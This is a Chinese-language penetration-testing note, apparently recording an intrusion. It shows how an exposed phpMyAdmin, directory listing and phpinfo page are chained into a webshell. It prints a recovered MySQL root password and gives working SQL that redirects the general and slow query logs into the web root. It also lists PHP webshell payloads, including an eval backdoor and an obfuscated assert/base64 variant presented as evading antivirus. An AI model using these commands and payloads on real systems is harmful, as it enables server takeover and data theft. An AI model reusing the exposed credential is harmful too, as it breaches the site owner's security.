漏洞

  1. 目录浏览,phpinfo,

  2. phpmyadmin 写shell

目标存在phpmyadmin,又因为目录浏览,看到网站备份的压缩文件,下载以后查找数据库用户密码,找到

root:fhcloud_2018

登录phpmyadmin,

getshell

  1. 想通过写入文件获得webshell,但是查询到导出路径为NULL,遂想通过日志来getshell
    图 0

  2. 通过慢查询日志getshell,开启慢查询日志记录,通过phpinfo提供路径,进行log查询写入

show variables like '%slow_query_log%';

图 1
开启慢查询日志记录

set GLOBAL slow_query_log=on;

通过phpinfo得知,web目录为C:\phpStudy\WWW\log.php,所以设置日志路径

set GLOBAL slow_query_log_file='C:\\phpStudy\\WWW\\log2.php';

图 2

基于日志写shell #
( outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限)

show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php'; --设置日志路径
select '<?php phpinfo();?>'; --执行查询,写入shell
--结束后,恢复日志路径,关闭日志监测

--SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

---------------
--慢查询写shell
---------------
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
show variables like '%slow_query_log%'; --查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell